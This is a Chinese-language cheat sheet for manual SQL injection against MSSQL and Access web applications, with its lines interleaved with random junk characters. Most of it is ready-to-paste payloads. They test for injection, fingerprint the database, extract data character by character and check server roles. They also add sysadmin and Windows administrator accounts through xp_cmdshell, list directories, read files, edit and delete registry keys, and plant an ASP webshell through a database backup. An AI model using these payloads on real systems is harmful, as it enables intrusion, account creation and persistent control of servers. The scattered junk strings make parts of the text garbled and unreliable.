手工脚本注入
" R; b# O8 {8 Z. G D+ j1.判断是否有注入;and 1=1 ;and 1=2
( t& M4 I4 e, g* w ~
* A% U2 M! v! c" \$ A4 _2.初步判断是否是mssql ;and user>0 3 Z& @4 w& ?2 {- M
7 z3 J0 F d0 {% ?, `: Q$ Q
3.注入参数是字符'and [查询条件] and ''=' $ E, ]% S, h$ l J
! R3 _# Q# n" u6 o
4.搜索时没过滤参数的'and [查询条件] and '%25'='
1 ~5 `' c1 x' O: E$ c
& }9 q& C6 W0 o0 h- v4 M6 m5.判断数据库系统
& u1 q4 E* e- p1 y3 g$ n& Z9 W;and (select count(*) from sysobjects)>0 mssql % j! S% T: x6 S V" e
;and (select count(*) from msysobjects)>0 access - H) U2 a& D4 Z6 \
: j/ a" Q% q! p+ O: p: M6.猜数据库 ;and (select Count(*) from [数据库名])>0
9 D2 r5 e% q f5 i4 \/ L9 j% H5 l
% @: C/ q! m; x- o& Z) [$ \" i7.猜字段 ;and (select Count(字段名) from 数据库名)>0 & _% @3 f% ]+ H) V8 c+ x
( y& ^/ B3 J; u! [
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
1 n" n# [3 Y. @9 K X! {
. o$ N) x1 p% N4 N1 \" b9.(1)猜字段的ascii值(access) % A1 w5 J+ T n. w' b" c y2 J
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 / G' z9 t' E+ k; Y# S- f
9 d0 r8 p4 J3 O% j; ]6 M* {$ E4 v
(2)猜字段的ascii值(mssql)
0 h! W" \3 g* z- D+ f" F) E+ G;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 4 g6 H* l: A0 {& l9 a
% |' E- A5 C& z; A% |4 J7 U
10.测试权限结构(mssql)
( M/ u6 C5 D: Q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 `+ _, a8 j# g5 e4 \/ x; R;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- % ?) }7 G/ @7 ^; \: M0 m& o; E; @
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- + Q- k; W5 c7 z
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 D6 P; g3 ?# c;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* M9 R" {3 N! L' P ]) b J;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: Y- c, U& O; [3 q) U5 f8 n2 `& _;and 1=(select IS_MEMBER('db_owner'));-- 0 }' M6 m$ d( \ G4 N
) S- d4 I- d) i! d: e8 P" C11.添加mssql和系统的帐户
" [0 x8 w! k+ G' u7 o1 ^ A;exec master.dbo.sp_addlogin username;-- 4 E: Y/ E$ W) J S3 b( G
3 r/ H. x4 y2 h2 R2 y
;exec master.dbo.sp_password null,username,password;--
2 b: R; u0 \ Z) W, R5 A4 _! O1 i7 x/ j6 y1 N" c! f
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ; {/ U9 y& z- ~( n. z# B1 M
; {7 K) {6 k( `. h% a3 l/ V6 s
;exec master.dbo.xp_cmdshell 'net user username password 5 C8 m, b; ^% N* ^
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- " {/ P; I2 ]# l
7 a5 o# O8 X9 Y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- + z6 _7 @& b1 D+ v) e7 S
) B) P$ O: x3 y/ L& o;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( ~/ ^" s+ ^5 u
( L& }( S- R# N12.(1)遍历目录 1 V2 O1 C# e& o3 k i9 j3 f
" F" V3 m# m8 H6 q! f: x8 O3 D# s;create table dirs(paths varchar(100), id int)
$ C2 c# P& z2 Y5 U3 b;insert dirs exec master.dbo.xp_dirtree 'c:\'
" `# j$ k$ ?( a" t5 i/ V+ _;and (select top 1 paths from dirs)>0
# d6 n b" i( L;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) & z) s, d, q, G2 E6 X% A7 F
1 D2 C+ u ` y# ~1 b2 @# `(2)遍历目录
/ @0 G% g! I) G3 y2 j- @/ B;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- + p: |# p d; z; \4 j
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 M4 _7 k! l7 K# ]: C+ j! I;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
% _; v/ F) t/ e ~;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 * @2 }+ r$ ~; h# `7 v6 f
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
9 o3 V: j X2 z; u- R; K& H1 l2 n* N* f0 x4 h
13.mssql中的存储过程
. l6 i+ m7 u$ `% P( q" q6 V; p3 [* H0 {0 ~) t, ^# A
xp_regenumvalues 注册表根键, 子键
+ q% N/ Z: \, i' O# O;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
, B1 N$ g: ~' D. @" E, ]4 {5 c1 c) \. h
xp_regread 根键,子键,键值名 & b% F) }% g% V6 j$ b& D3 z+ O
;exec xp_regread
' Z$ P4 i+ ~* D9 G'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 X# g# m5 f4 x/ J
0 c/ n% X7 x& b# Z5 {4 q# @xp_regwrite 根键,子键, 值名, 值类型, 值 - N- f+ V1 o0 s9 l6 T2 u: b) V# V
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
4 D a* W% ~- ]' q- v5 X a;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 z; c) M! |" |# Z6 u' F4 p( n
. t' W5 I# J' {' p) exp_regdeletevalue 根键,子键,值名 ( X2 ?. i* D1 V5 v
! W& h- ~6 `/ fexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $ K' ^" U" Z1 r9 C9 m$ |
; q& r( u) q0 @- _9 h2 N6 [xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ( p5 o/ }+ z g! X1 c/ Q$ W
- u- h. z6 O& H. _+ a3 h, X' f14.mssql的backup创建webshell " w! m6 b/ v2 i
use model % s# z: k2 b; n7 j
create table cmd(str image); 4 [3 ], f2 i' c5 @$ Y
insert into cmd(str) values ('');
0 W) _5 e( C- g" Q: mbackup database model to disk='c:\l.asp'; * D, B% Q5 Z8 n7 h
; u9 X3 x E5 {7 s
15.mssql内置函数 $ ^' F3 f. i4 z$ k, e
;and (select @@version)>0 获得Windows的版本号
0 Z K4 ?7 X6 ~# f c5 k, a;and user_name()='dbo' 判断当前系统的连接用户是不是sa
, I5 y/ K5 S, q2 [;and (select user_name())>0 爆当前系统的连接用户
" |0 }: @5 y* H;and (select db_name())>0 得到当前连接的数据库
, X; R- F; w; a% g
* t8 Q! W8 ~ r% u' O4 @# K' X6 a6 m& u16.简洁的webshell
1 H& E; @% l8 ?0 Q3 ?- G
/ @- |: \- d& m/ q, R% duse model
5 a5 D* d! S7 R+ J- }
* ~8 u: S& I" Y+ _, L" k: v" Qcreate table cmd(str image); * Y" j8 M$ v: C: o7 S3 }
2 }( k! d8 w( I1 D p
insert into cmd(str) values (''); % T& [0 A0 ?6 S6 G: H0 Y: s: ~( [% [
- \+ ]0 ?- R7 k' q; \6 L
backup database model to disk='g:\wwwtest\l.asp'; , @7 D3 R4 L5 Z$ M$ f
$ d9 U, ?! g6 @+ r
|